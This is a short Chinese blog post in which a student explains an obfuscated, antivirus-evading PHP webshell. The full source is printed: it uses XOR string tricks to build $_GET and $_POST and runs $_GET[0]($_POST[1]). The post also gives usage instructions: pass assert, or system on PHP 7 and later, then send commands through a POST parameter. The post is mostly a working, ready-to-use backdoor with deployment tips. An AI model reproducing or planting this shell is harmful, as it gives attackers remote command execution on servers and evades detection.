关于一个很抽象的马

中午大佬学长给我们发了个免杀马,捅咕一中午才看明白,简单记录下

主要就是先用pack给他切割了一下,然后再转换下进制,传参的时候先传要截断多少,后边命令的代码要先转换成16进制,然后再在两头加上要截断的位数,把中间保留下来

代码是别人的,这里就不贴了,说说另一个很抽象的马

 1 <?php
 2 
 3 @$_++;                           //定义一个$_变量,并自增,值变为“1”
 4 
 5 $__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
 6 
 7 $___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
 8 
 9 ${$__}[!$_](${$___}[$_]);       //$_值为1,!$_值为-1,${$__}为变量$__的值,这句翻译过来等于$__[0]($___[1])
10 
11 ?>

是不是挺抽象

使用时按照最后一句,get传参0=assert,然后post的1是一键的密码

这个马只有在php7以前的版本才能正常使用,简单说就是assert在php7之后assert()默认不再可以执行代码

而这段代码是将assert传了进去,能够替换的函数暂时还没找到,等我看看这个马还能不能改进一下

不过虽然没法使用assert,但是system等执行命令的函数是可以传进去的,所以7以后的版本可以直接在get中传0=system,然后在post中直接执行1=command

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值